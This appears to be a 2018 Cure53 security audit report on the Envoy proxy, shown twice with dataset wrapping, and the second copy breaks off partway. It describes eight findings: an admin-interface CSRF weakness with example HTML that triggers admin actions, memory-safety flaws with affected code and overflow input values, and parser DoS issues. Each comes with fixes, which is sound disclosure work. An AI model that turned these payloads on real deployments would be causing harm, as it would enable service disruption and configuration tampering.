inspected by Cure53, the focus on DoS\nattacks also translated to looking at decompression of malicious HTTP content and\nnecessitated coverage with tests targeting the HTTP2 features. The Envoy Admin web\ninterface was placed under scrutiny of the testers as well, yet it was granted a much\nlower priority because it is not expected to become a viable target. Upon a later request\nfrom the maintainers, this component of the scope was actually ignored at sequent\nstages of the project.\nIn terms of the execution of this assessment, the project was split into two phases, with\nthe first centered on the source code audit and a search for code bugs, and the second\nencompassing a full-blown penetration test. The latter tried to attack an actually running\ninstance of Envoy and, quite clearly, investigated more complex attack scenarios, DoS\nattacks, spoofing and bypasses. Under this premise, there was a clearly defined\nattacker-model, specifically signifying a rogue and external attacker seeking to abuse\nbugs and vulnerabilities in the Envoy entities. The presumed goals of the adversaries\nwould be to escalate their findings and make the Envoy project either slow or completely\nshut down.\nAmong the already noted eight findings, there was an even mid-way split between four\nactual security vulnerabilities and four general weaknesses. It is vital to emphasize that\nno issues were marked as “Critical” in terms of security impact, severity or scope. This\nabsence of high-risk problems is a very good indicator for the broader state of security\nmatters at the Envoy compound.\nCure53, Berlin · 02/27/18 2/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nIn the following paragraphs, this report will briefly focus on the technical outline of the\nscope and illuminates the overall coverage. It then moves on to the findings which are\ndiscussed on a case-by-case basis and presented together with mitigation advice. The\nclosing section allows for some general notes on the robustness of the Envoy project in\nlight of this Cure53 and Secfault Security GmbH’s joint assessment. \nScope\n•Envoy Proxy\n◦https://www.envoyproxy.io /\n◦Exact snapshot that was used for testing\n▪https://github.com/envoyproxy/envoy/tree/master\n▪Commit c31077b28e4f8a7db17895d5d2570e806e9e2a3e\nTest Coverage\nThis section comments on the test coverage reached by the testing team in the given\ntimeframe.\nTo start with the key item of the scope, the HTTP header manipulation was extensively\nexamined. The handling was investigated with a special focus on sanitization and\nperformed also with edge-case values. It was attempted to bypass header stripping,\ninject duplicate headers and break the HTTP transcoding by message splitting. The\nHTTP2 header compression aspect was covered in relation to the Denial-of-Service\nattack vectors.\nThe Admin Web Interface was checked for typical security problems. The findings in this\nrealm were concerning as the item was admittedly inadequate in terms of no\nAuthentication, lacking Header Security and the absence of the critical CSRF token.\nIn relation with the JSON parser, state machine was inspected for malformed input\nhandling and related memory management defects. An existing problem with incomplete\nJSON input was found but ultimately deemed unexploitable. A particular focus was\nplaced here on the intrinsic types like numbers and strings.\nNext on the list was the gRPC implementation which was checked for interface\ninterference issues. Also in this context there was a preselected item of top-priority,\nnotably concerning the potential threading model incompatibilities. Buffering and\ndecoding problems were considered in the HTTP and JSON filters, wherein an existing\ngeneral data starvation case was unveiled but discarded as insignificant.\nCure53, Berlin · 02/27/18 3/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nThe Lua implementation was investigated for common C interface misuse. The coroutine\nstate machine logic was verified. General integer overflows and null pointer\ndereferences could not be identified in this realm.\nFor the event handling code in the Ratelimit component, extra scrutiny did not yield any\nissues and found it adequate. Another aspect that generated no substantial findings was\nthe Redis protocol parser which was verified with special attention to logic issues like\ntreatment of invalid messages and illegal field lengths. Denial-of-service scenarios and\nout-of-bound situations could not be found in this realm. This positive evaluation\nextended to MongoDB parser code which was subjected to similar procedures as the\nRedis parser implementation and held strong.\nFurther, the Network component was considered for potential logic and DoS bugs but\nfound to be rather clean and strong against the non-standard problem areas. Here the\nexplication could be derived from the lack of the application logic’s implementation.\nFinally the SSL implementation was checked for typical TLS-related issues, configuration\nmalpractice and common certificate validation problems and the core Router request\nhandling was investigated for potential DoS scenarios. This last item was examined in\nregard to the brokerage code of the component.\nCure53, Berlin · 02/27/18 4/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nIdentified Vulnerabilities\nThe following sections list both vulnerabilities and implementation issues spotted during\nthe testing period. Note that findings are listed in a chronological order rather than by\ntheir degree of severity and impact. The aforementioned severity rank is simply given in\nbrackets following the title heading for each vulnerability. Each vulnerability is\nadditionally given a unique identifier (e.g. EP-01-001) for the purpose of facilitating any\nfuture follow-up correspondence.\nEP-01-001 HTTP: Lacking Admin-Interface Security allows CSRF and DOS (High)\nIt was noticed quite early in the assessment that the Envoy’s Admin Interface, normally\nreachable under http://localhost:9901 , is highly insecure. This is because it completely\nfails to follow modern security standards. There is actual authentication (although per\ndefault the instance is only reachable locally), no HTTP security headers are in place\nand CSRF tokens are not deployed. The last point is especially dangerous because all\nadministrative operations can be carried out by simple GET requests. Therefore luring\nan internal administrator onto websites that embed the code like the following will signify\nchanges to the entire global configuration.\nExample HTML (disable logging):\n![](\"http://localhost:9901/)
\nExample HTML (shutdown the server) :\n\nBesides having a mass-impact in terms of modifications, the attacker may even turn off\nthe server. Both these high-impact action may occur without the administrator noticing\nfor certain. Although the Envoy team has expressed their awareness of the bad security\npremises of its Web Interface, it is still necessary to highlight the importance of relevant\nfixes. It is recommended to offer additional authentication, e.g. similar to the Apache’s\ndigest-auth mechanism. Furthermore, CSRF tokens should be urgently implemented, for\nexample by utilizing X-CSRF-TOKEN headers on each authenticated request.\nEP-01-002 HTTP: Potential BoF with HeaderStrings and Inline Buffers (Medium)\nWhile analyzing how Envoy implements HTTP headers inside their HeaderMap, it was\nnoticed that there were three possible implementations, depending on the use-case at\nhand. One of them concerned inline buffers that were mostly used for local variable type\ndeclarations where simple C-style char arrays were used for storage. This can be seen\nin the following definition of a buffer.\nCure53, Berlin · 02/27/18 5/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nAffected File:\nenvoy/include/envoy/include/envoy/http/header_map.h\nAffected Code:\nunion {\n char inline_buffer_[128];\n uint32_t dynamic_capacity_;\n};\nAn actual problem was later discovered when checking how a header of this composition\nis being created in the respective constructor inside the HeaderString class. The\nfollowing code depicts said faulty implementation.\nAffected File:\nenvoy/include/envoy/source/common/http/header_map_impl.cc\nAffected Code:\nHeaderString::HeaderString(HeaderString&& move_value) {\n type_ = move_value.type_;\n string_length_ = move_value.string_length_;\n[...]\n case Type::Inline: {\n buffer_.dynamic_ = inline_buffer_;\n memcpy(inline_buffer_, move_value.inline_buffer_ , string_length_ + 1);\n move_value.string_length_ = 0;\n move_value.inline_buffer_[0] = 0;\n break;\n }\n }\n}\nOne can observe the later used string_length as being formed from the passed\nparameter and later used as a direct value for memcpy. This practically creates a call\nsuch as memcpy(dest, src, strlen(src)) . In this call the length of the source operand is left\nunchecked and can be bigger than the space reserved at destination. Since this function\ncan be an actual pitfall for potential buffer overflows, it is recommended to explicitly limit\nthe length of the source operand to the reserved room at the destination, namely 128\nbytes.\nCure53, Berlin · 02/27/18 6/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nEP-01-003 HTTP: Potential UaF with HeaderStrings and Ref. Buffers (Medium)\nWhile analyzing the HeaderMap implementation of Envoy, it was noticed that the code\nmakes use of the c_str() method for obtaining references to the underlying character\nbuffers of the STL strings. This pattern is not generally problematic but issues can arise\nwhen the string object is invalidated (e.g. deleted). In case of deletion or similar state, it\nhas to be ensured that the reference to the underlying memory buffer is also invalidated.\nOtherwise, the so-called use after free or similar vulnerability patterns can occur. One\nparticular example is shown below.\nAffected File:\nenvoy/include/envoy/source/common/http/header_map_impl.cc\nAffected Code:\nHeaderString::HeaderString(const std::string& ref_value) : \ntype_(Type::Reference) {\n buffer_.ref_ = ref_value.c_str();\n string_length_ = ref_value.size();\n}\nAfter calling the above copy constructor, ref_value could go out of scope or be deleted.\nIn such cases a reference to an invalid buffer would be stored in the HeaderString\nobject. It should be noted that this is only one example whilst saving the return value of\nthe c_str() method appears to be common throughout the analyzed code base. Using\nalternative approaches such as std::move should be evaluated in order to address this\nfinding in a more general manner.\nEP-01-004 HTTP: Potential Integer Overflow during Header Encoding (Medium)\nAnother potential buffer overflow resulting from an integer overflow has been spotted\ninside the HTTP/1 codec. This is due to the fact that two unsigned 32-bit integers were\nused inside an addition before being assigned to a 64-bit unsigned integer. The following\ncode shows the prototype of the reserveBuffer function which accepts a uint64_t as a\nsize parameter for the later allocation.\nAffected File:\nenvoy/source/common/http/http1/codec_impl.cc\nAffected Source:\nvoid ConnectionImpl::reserveBuffer( uint64_t size) {\n[...]\nHowever, the encodeHeader function uses two uint32_t types and adds them before\npassing them to reserveBuffer.\nCure53, Berlin · 02/27/18 7/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nAffected Source:\nvoid StreamEncoderImpl::encodeHeader(const char* key, uint32_t key_size , const \nchar* value, uint32_t value_size ) {\n connection_.reserveBuffer( key_size + value_size + 4 );\n ASSERT(key_size > 0);\n connection_.copyToBuffer( key, key_size);\n[...]\nSince the addition is based on 32-bit integers, an addition of the values 0x7fffffff,\n0x7fffffff, and 4 (for instance) will lead to the value 2 being passed to reserveBuffer.\nThus, it will cause an allocation of a significantly smaller size. This was also checked\ninside the assembly where the addition is carried out and stored into the 32-bit large esi\nregister before being passed to reserveBuffer:\nAssembly snippet:\n 0x0000000000684049 <+25>: lea 0x4(%r13,%r12,1),%esi\n 0x000000000068404e <+30>: sub $0x18,%rsp\n 0x0000000000684052 <+34>: mov 0x38(%rdi),%rdi\n 0x0000000000684056 <+38>: mov %rcx,-0x38(%rbp)\n 0x000000000068405a <+42>: callq 0x683f80 \n\nLater on, copyToBuffer is called with key_size of 0x7fffffff, despite there being room for\nonly 2 bytes. This would eventually be caught by the ASSERT statement inside\ncopyToBuffer where the remaining size is checked against the passed length, as\nillustrated below.\nAffected Source:\nvoid ConnectionImpl::copyToBuffer(const char* data, uint64_t length) {\n ASSERT(bufferRemainingSize() >= length);\n memcpy(reserved_current_, data, length);\n reserved_current_ += length;\n}\nHowever, since this is not explicitly declared as an RELEASE_ASSERT, there is no\nguarantee that this check will eventually land in the compiled version, thus opening the\ndoor for another potential overflow. It is recommended to catch the mentioned integer\noverflow, for example by relying on the built-in functionalities of GCC’1, specifically\n__builtin_uadd_overflow .\n1 https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html\nCure53, Berlin · 02/27/18 8/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nMiscellaneous Issues\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\nan attacker in achieving their malicious goals in the future. Most of these results are\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\nwhile a vulnerability is present, an exploit might not always be possible.\nEP-01-005 Common: strlcpy does not check for zero-sized Parameters (Low)\nAnother potentially flawed function was identified inside the Envoy’s utility library where\nall sorts of useful wrappers are defined. One of the items is a strlcpy implementation\nwhich is essentially just a wrapper around strncpy, used to make sure that the\ndestination is always null-terminated.\nAffected File:\nenvoy/source/common/common/utility.cc\nAffected Source:\nsize_t StringUtil::strlcpy(char* dst, const char* src, size_t size) {\n strncpy(dst, src, size - 1);\n dst[size - 1] = '\\0';\n return strlen(src);\n}\nThe dangers associated with wrappers like these one stems from the fact that the\nprogrammer always needs to make sure that the passed size is actually greater than\nzero. Otherwise the size - 1 will eventually wrap around to 0xffffffff and cause a copy\noperation that will continue to result in an overflow as long as no terminating null byte is\nfound in the source operand. A useful hardening addition here would be to make the\nwrapper itself check whether size is greater than 0. The proposed strategy will always\nprevent incorrect usage of the strlcpy function.\nEP-01-006 Redis: User-Controlled Allocation leads to DoS (Medium)\nDuring a cursory inspection of the Redis codec it was found that the implementation\nrelied on a user-supplied length arguments to perform memory allocations. Please\nconsider the code excerpt below to understand the corresponding flaw.\nAffected File:\nenvoy/source/common/redis/codec_impl.cc\nAffected Source:\n} else {\n std::vector values( pending_integer_.integer_ );\nCure53, Berlin · 02/27/18 9/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \n current_value.value_->asArray().swap(values);\n pending_value_stack_.push_front({¤t_value.value_->asArray()[0], 0});\n state_ = State::ValueStart;\n}\nIt can be observed that the code uses the previously parsed value of\npending_integer_.integer_ for allocating an array. Supplying an overly large array length\nmight hence provoke an out-of-memory condition, resulting in a DoS issue. It is generally\nrecommended to perform strict checks on all user-provided length arguments before\nusing them to perform allocations.\nEP-01-007 MongoDB: Stack Exhaustion via unbounded Recursion (Medium)\nA cursory inspection of the MongoDB implementation revealed that the BSON parsing\ncode allows for unbounded recursion depths when nested documents are being\nhandled. The following code excerpt can shed light on why this is a bad practice.\nAffected File:\nenvoy/source/common/mongo/bson_impl.cc\nAffected Source:\nvoid DocumentImpl::fromBuffer(Buffer::Instance& data) {\n[...]\ncase Field::Type::DOCUMENT: {\n ENVOY_LOG(trace, \"BSON document\");\n addDocument(key, DocumentImpl::create(data));\n break;\n}\nAffected File:\nenvoy/source/common/mongo/bson_impl.h\nAffected Source:\nstatic DocumentSharedPtr create(Buffer::Instance& data) {\n std::shared_ptr new_doc{new DocumentImpl()};\n new_doc->fromBuffer(data);\n return new_doc;\n}\nIt can be observed that the code recursively calls the fromBuffer() method for building\nnew DocumentImpl instances. A deeply-nested BSON document might hence lead to a\nstack memory exhaustion, resulting in a DoS condition. It is recommended to generally\nrestrict the number of possible nesting levels to an appropriate value.\nCure53, Berlin · 02/27/18 10/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nEP-01-008 MongoDB: Lax Parsing when processing malformed Messages (Low)\nAnother issue found during a cursory inspection of the MongoDB implementation was\nlinked to the parsing of code, which was relatively permissive when it came to malformed\nmessages. A code excerpt supplied next can illustrate the issue at hand.\nAffected File:\nenvoy/source/common/mongo/bson_impl.cc\nAffected Source:\nvoid ReplyMessageImpl::fromBuffer( uint32_t, Buffer::Instance& data) {\n ENVOY_LOG(trace, \"decoding reply message\");\n flags_ = Bson::BufferHelper::removeInt32(data);\n cursor_id_ = Bson::BufferHelper::removeInt64(data);\n starting_from_ = Bson::BufferHelper::removeInt32(data);\n number_returned_ = Bson::BufferHelper::removeInt32(data);\n for (int32_t i = 0; i < number_returned_; i++) {\n documents_.emplace_back(Bson::DocumentImpl::create(data));\n }\n ENVOY_LOG(trace, \"{}\", toString(true));\n}\n[...]\nbool DecoderImpl::decode(Buffer::Instance& data) {\n[...]\n uint32_t message_length = Bson::BufferHelper::peakInt32(data);\n ENVOY_LOG(trace, \"message is {} bytes\", message_length);\n if (data.length() < message_length) {\n return false;\n }\n[...]\n switch (op_code) {\n case Message::OpCode::OP_REPLY: {\n std::unique_ptr message(new ReplyMessageImpl(request_id, \nresponse_to));\n message->fromBuffer( message_length, data);\n callbacks_.decodeReply(std::move(message));\n break;\n }\nIt can be observed that the code makes use of the decode() method in order to parse a\nMongoDB message from a buffer. In a first step, the message length field is extracted.\nAfter performing several other operations, the actual message is decoded using\nmessage->fromBuffer(message_length, data) .\nCure53, Berlin · 02/27/18 11/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nHowever, as the definition of ReplyMessageImpl::fromBuffer() shows, the previously\nextracted length field is not actually considered. The fromBuffer() method could hence\nconsume more bytes than the message’s length field actually indicates. Clearly, in order\nto provoke such a situation, a malformed message would have to be sent in the first\nplace. To sum up this flaw and mitigation, it might be advisable to add stricter checks\nregarding message sizes to the parsing code. A revised strategy would signify a\ndefense-in-depth approach.\nConclusion\nIn spite of eight security-relevant findings, the team responsible for this assessment of\nthe Envoy compound can attest to the overall good state of security matters at the tested\nproject. Tasking an eight-member testing team from Cure53 and Secfault Security GmbH\nentities has clearly demonstrated the robustness of the Envoy scope, while also enabled\nfor some minor flaws to be pointed out and - ideally - remediated. After spending twenty\ndays on the Envoy test target in February 2018, the penetration testers concluded that\nthe software was appropriately built and deployed. Similarly positive impression\nconcerned the Envoy code, which the auditors found to be well-written.\nTo comment on some specifics of this white-box assessment, it should be noted that the\nmaintainers requested a specific threat model to be covered. This encompassed a data-\nplane compromise and Denial-of-Service, which were addressed in depth by Cure53.\nBecause of this focus, the less concerning areas were subsequently treated with lower\npriority. From the test it quickly became apparent that the software boasted a modern\narchitecture and security was integrally interwoven into the deployment actions and\ndesign decisions taken by the project’s development team.\nFurther noticeable was the fact that the team run various code quality assurance tools\nand scanners to make sure that the software was not affected by the bugs and memory\ncorruptions commonly affecting similar projects, especially those surfacing during a\nshared timeframe. Another particularly positive aspect to mention was the careful\nselection and integration of high-quality and well-vetted external components. Despite\nthrough checks, not a single item bearing a noteworthy “Critical” risk was spotted.\nOn a less positive note, the above highly commendable attention to security did not\nextend to the web frontend for Admin users. This component was then taken out of\nscope. The decision was explained by the fact that having this item considered as part of\nthe attack surface does not hold in terms of the frontend carrying a minimal risk.\nFor the sake of completeness it should be noted that a full coverage of the entire\nspectrum of the software in scope was an impossible task. By acknowledging the sheer\nCure53, Berlin · 02/27/18 12/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nvolume, a considerable size and the myriad of implementation details on Envoy, it should\nbe clarified that the goal was to account for security on the focal areas and most\nsensitive, potentially risk-laden or threatened items. The actually reached level of\ncoverage was considered good, especially as the robustness of the audited code and\nimplementation of good practices appeared to have carried through different layers and\narenas. This can be read as an indicator of consistently good patterns and high-quality\nsecurity being present across the entire scope rather than a finding only applicable to the\nexplicitly prioritized scope.\nIn sum, the testers found the software to be quite mature and well-structured despite its\ninherent complexity. It can be expected that the discovery of the flaws will only increase\nthe overall good direction that the Envoy team is heading in from a security standpoint.\nCure53 would like to thank Harvey Tuch, Matt Klein and Joshua Marantz from the Envoy\nproxy team as well as Chris Aniszczyk of The Linux Foundation for their excellent project\ncoordination, support and assistance, both before and during this assignment. Special\nthanks need to be extended as well to The Linux Foundation for funding this project.\nCure53, Berlin · 02/27/18 13/13"}],"string":"[\n {\n \"data\": \" Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nPentest-Report Envoy Proxy 02.2018\\nCure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, J. Larsson, Dipl.-Ing. A. Inführ,\\nBSc. J. Hector, G. Kopf, M. Münch\\nIndex\\nIntroduction\\nScope\\nTest Coverage\\nIdentified Vulnerabilities\\nEP-01-001 HTTP: Lacking Admin-Interface Security allows CSRF and DOS (High)\\nEP-01-002 HTTP: Potential BoF with HeaderStrings and Inline Buffers (Medium)\\nEP-01-003 HTTP: Potential UaF with HeaderStrings and Ref. Buffers (Medium)\\nEP-01-004 HTTP: Potential Integer Overflow during Header Encoding (Medium)\\nMiscellaneous Issues\\nEP-01-005 Common: strlcpy does not check for zero-sized Parameters (Low)\\nEP-01-006 Redis: User-Controlled Allocation leads to DoS (Medium)\\nEP-01-007 MongoDB: Stack Exhaustion via unbounded Recursion (Medium)\\nEP-01-008 MongoDB: Lax Parsing when processing malformed Messages (Low)\\nConclusion\\nIntroduction\\n“Originally built at Lyft, Envoy is a high performance C++ distributed proxy designed for\\nsingle services and applications, as well as a communication bus and “universal data\\nplane” designed for large microservice “service mesh” architectures.\\nBuilt on the learnings of solutions such as NGINX, HAProxy, hardware load balancers,\\nand cloud load balancers, Envoy runs alongside every application and abstracts the\\nnetwork by providing common features in a platform-agnostic manner. When all service\\ntraffic in an infrastructure flows via an Envoy mesh, it becomes easy to visualize\\nproblem areas via consistent observability, tune overall performance, and add substrate\\nfeatures in a single place.”\\nFrom https://www.envoyproxy.io\\nCure53, Berlin · 02/27/18 1/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nThis report documents the results of a penetration test and source code audit of the\\nEnvoy proxy software. The project was carried out by Cure53 in February 2018 and\\nyielded eight security-relevant findings.\\nIn terms of resources, the testing team comprised six members of the Cure53 and two\\ninvited experts from Secfault Security GmbH. This overall eight-member team was\\ngranted a time budget of twenty days to complete the assessment, with a caveat that an\\nadequate budget fraction should be preserved for the task of fix verifications and\\ncommunications to happen post-assessment. Moving on to the approach, it has to be\\nunderlined that all relevant sources of the Envoy compound are openly available on\\nGithub. This naturally means that the security evaluation was rooted in a white-box\\npremise since the envisioned attackers would have unlimited access to Envoy public\\ndata. \\nIt should be stated that the core scope items concerned exposition to rogue user-input,\\nwith particular foci pointing to the HTTP parser, the header sanitizer and other\\ncomponents of similar notoriety. What is more, the Envoy maintainers specifically\\nrequested that the testers examine the TLS configuration, XFF and the generally\\nslowloris-style DoS attacks. While all this was inspected by Cure53, the focus on DoS\\nattacks also translated to looking at decompression of malicious HTTP content and\\nnecessitated coverage with tests targeting the HTTP2 features. The Envoy Admin web\\ninterface was placed under scrutiny of the testers as well, yet it was granted a much\\nlower priority because it is not expected to become a viable target. Upon a later request\\nfrom the maintainers, this component of the scope was actually ignored at sequent\\nstages of the project.\\nIn terms of the execution of this assessment, the project was split into two phases, with\\nthe first centered on the source code audit and a search for code bugs, and the second\\nencompassing a full-blown penetration test. The latter tried to attack an actually running\\ninstance of Envoy and, quite clearly, investigated more complex attack scenarios, DoS\\nattacks, spoofing and bypasses. Under this premise, there was a clearly defined\\nattacker-model, specifically signifying a rogue and external attacker seeking to abuse\\nbugs and vulnerabilities in the Envoy entities. The presumed goals of the adversaries\\nwould be to escalate their findings and make the Envoy project either slow or completely\\nshut down.\\nAmong the already noted eight findings, there was an even mid-way split between four\\nactual security vulnerabilities and four general weaknesses. It is vital to emphasize that\\nno issues were marked as “Critical” in terms of security impact, severity or scope. This\\nabsence of high-risk problems is a very good indicator for the broader state of security\\nmatters at the Envoy compound.\\nCure53, Berlin · 02/27/18 2/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nIn the following paragraphs, this report will briefly focus on the technical outline of the\\nscope and illuminates the overall coverage. It then moves on to the findings which are\\ndiscussed on a case-by-case basis and presented together with mitigation advice. The\\nclosing section allows for some general notes on the robustness of the Envoy project in\\nlight of this Cure53 and Secfault Security GmbH’s joint assessment. \\nScope\\n•Envoy Proxy\\n◦https://www.envoyproxy.io /\\n◦Exact snapshot that was used for testing\\n▪https://github.com/envoyproxy/envoy/tree/master\\n▪Commit c31077b28e4f8a7db17895d5d2570e806e9e2a3e\\nTest Coverage\\nThis section comments on the test coverage reached by the testing team in the given\\ntimeframe.\\nTo start with the key item of the scope, the HTTP header manipulation was extensively\\nexamined. The handling was investigated with a special focus on sanitization and\\nperformed also with edge-case values. It was attempted to bypass header stripping,\\ninject duplicate headers and break the HTTP transcoding by message splitting. The\\nHTTP2 header compression aspect was covered in relation to the Denial-of-Service\\nattack vectors.\\nThe Admin Web Interface was checked for typical security problems. The findings in this\\nrealm were concerning as the item was admittedly inadequate in terms of no\\nAuthentication, lacking Header Security and the absence of the critical CSRF token.\\nIn relation with the JSON parser, state machine was inspected for malformed input\\nhandling and related memory management defects. An existing problem with incomplete\\nJSON input was found but ultimately deemed unexploitable. A particular focus was\\nplaced here on the intrinsic types like numbers and strings.\\nNext on the list was the gRPC implementation which was checked for interface\\ninterference issues. Also in this context there was a preselected item of top-priority,\\nnotably concerning the potential threading model incompatibilities. Buffering and\\ndecoding problems were considered in the HTTP and JSON filters, wherein an existing\\ngeneral data starvation case was unveiled but discarded as insignificant.\\nCure53, Berlin · 02/27/18 3/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nThe Lua implementation was investigated for common C interface misuse. The coroutine\\nstate machine logic was verified. General integer overflows and null pointer\\ndereferences could not be identified in this realm.\\nFor the event handling code in the Ratelimit component, extra scrutiny did not yield any\\nissues and found it adequate. Another aspect that generated no substantial findings was\\nthe Redis protocol parser which was verified with special attention to logic issues like\\ntreatment of invalid messages and illegal field lengths. Denial-of-service scenarios and\\nout-of-bound situations could not be found in this realm. This positive evaluation\\nextended to MongoDB parser code which was subjected to similar procedures as the\\nRedis parser implementation and held strong.\\nFurther, the Network component was considered for potential logic and DoS bugs but\\nfound to be rather clean and strong against the non-standard problem areas. Here the\\nexplication could be derived from the lack of the application logic’s implementation.\\nFinally the SSL implementation was checked for typical TLS-related issues, configuration\\nmalpractice and common certificate validation problems and the core Router request\\nhandling was investigated for potential DoS scenarios. This last item was examined in\\nregard to the brokerage code of the component.\\nCure53, Berlin · 02/27/18 4/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nIdentified Vulnerabilities\\nThe following sections list both vulnerabilities and implementation issues spotted during\\nthe testing period. Note that findings are listed in a chronological order rather than by\\ntheir degree of severity and impact. The aforementioned severity rank is simply given in\\nbrackets following the title heading for each vulnerability. Each vulnerability is\\nadditionally given a unique identifier (e.g. EP-01-001) for the purpose of facilitating any\\nfuture follow-up correspondence.\\nEP-01-001 HTTP: Lacking Admin-Interface Security allows CSRF and DOS (High)\\nIt was noticed quite early in the assessment that the Envoy’s Admin Interface, normally\\nreachable under http://localhost:9901 , is highly insecure. This is because it completely\\nfails to follow modern security standards. There is actual authentication (although per\\ndefault the instance is only reachable locally), no HTTP security headers are in place\\nand CSRF tokens are not deployed. The last point is especially dangerous because all\\nadministrative operations can be carried out by simple GET requests. Therefore luring\\nan internal administrator onto websites that embed the code like the following will signify\\nchanges to the entire global configuration.\\nExample HTML (disable logging):\\n![](\\\"http://localhost:9901/)
\\nExample HTML (shutdown the server) :\\n\\nBesides having a mass-impact in terms of modifications, the attacker may even turn off\\nthe server. Both these high-impact action may occur without the administrator noticing\\nfor certain. Although the Envoy team has expressed their awareness of the bad security\\npremises of its Web Interface, it is still necessary to highlight the importance of relevant\\nfixes. It is recommended to offer additional authentication, e.g. similar to the Apache’s\\ndigest-auth mechanism. Furthermore, CSRF tokens should be urgently implemented, for\\nexample by utilizing X-CSRF-TOKEN headers on each authenticated request.\\nEP-01-002 HTTP: Potential BoF with HeaderStrings and Inline Buffers (Medium)\\nWhile analyzing how Envoy implements HTTP headers inside their HeaderMap, it was\\nnoticed that there were three possible implementations, depending on the use-case at\\nhand. One of them concerned inline buffers that were mostly used for local variable type\\ndeclarations where simple C-style char arrays were used for storage. This can be seen\\nin the following definition of a buffer.\\nCure53, Berlin · 02/27/18 5/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nAffected File:\\nenvoy/include/envoy/include/envoy/http/header_map.h\\nAffected Code:\\nunion {\\n char inline_buffer_[128];\\n uint32_t dynamic_capacity_;\\n};\\nAn actual problem was later discovered when checking how a header of this composition\\nis being created in the respective constructor inside the HeaderString class. The\\nfollowing code depicts said faulty implementation.\\nAffected File:\\nenvoy/include/envoy/source/common/http/header_map_impl.cc\\nAffected Code:\\nHeaderString::HeaderString(HeaderString&& move_value) {\\n type_ = move_value.type_;\\n string_length_ = move_value.string_length_;\\n[...]\\n case Type::Inline: {\\n buffer_.dynamic_ = inline_buffer_;\\n memcpy(inline_buffer_, move_value.inline_buffer_ , string_length_ + 1);\\n move_value.string_length_ = 0;\\n move_value.inline_buffer_[0] = 0;\\n break;\\n }\\n }\\n}\\nOne can observe the later used string_length as being formed from the passed\\nparameter and later used as a direct value for memcpy. This practically creates a call\\nsuch as memcpy(dest, src, strlen(src)) . In this call the length of the source operand is left\\nunchecked and can be bigger than the space reserved at destination. Since this function\\ncan be an actual pitfall for potential buffer overflows, it is recommended to explicitly limit\\nthe length of the source operand to the reserved room at the destination, namely 128\\nbytes.\\nCure53, Berlin · 02/27/18 6/13 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nEP-01-003 HTTP: Potential UaF with HeaderStrings and Ref. Buffers (Medium)\\nWhile analyzing the HeaderMap implementation of Envoy, it was noticed that the code\\nmakes use of the c_str() method for obtaining references to the underlying character\\nbuffers of the STL strings. This pattern is not generally problematic but issues can arise\\nwhen the string object is invalidated (e.g. deleted). In case of deletion or similar state, it\\nhas to be ensured that the reference to the underlying memory buffer is also invalidated.\\nOtherwise, the so-called use after free or similar vulnerability patterns can occur. One\\nparticular example is shown below.\\nAffected File:\\nenvoy/include/envoy/source/common/http/header_map_impl.cc\\nAffected Code:\\nHeaderString::HeaderString(const std::string& ref_value) : \\ntype_(Type::Reference) {\\n buffer_.ref_ = ref_value.c_str();\\n string_length_ = ref_value.size();\\n}\\nAfter calling the above copy constructor, ref_value could go out of scope or be deleted.\\nIn such cases a reference to an invalid buffer would be stored in the HeaderString\\nobject. It should be noted that this is only one example whilst saving the return value of\\nthe c_str() method appears to be common throughout the analyzed code base. Using\\nalternative approaches such as std::move should be evaluated in order to address this\\nfinding in a more general manner.\\nEP-01-004 HTTP: Potential Integer Overflow during Header Encoding (Medium)\\nAnother potential buffer overflow resulting from an integer overflow has been spotted\\ninside the HTTP/1 codec. This is due to the fact that two unsigned 32-bit integers were\\nused inside an addition before being assigned to a 64-bit unsigned integer. The following\\ncode shows the prototype of the reserveBuffer function which accepts a uint64_t as a\\nsize parameter for the later allocation.\\nAffected File:\\nenvoy/source/common/http/http1/codec_impl.cc\\nAffected Source:\\nvoid ConnectionImpl::reserveBuffer( uint64_t size) {\\n[...]\\nHowever, the encodeHeader function uses two uint32_t types and adds them before\\npassing them to reserveBuffer.\\nCure53, Berlin · 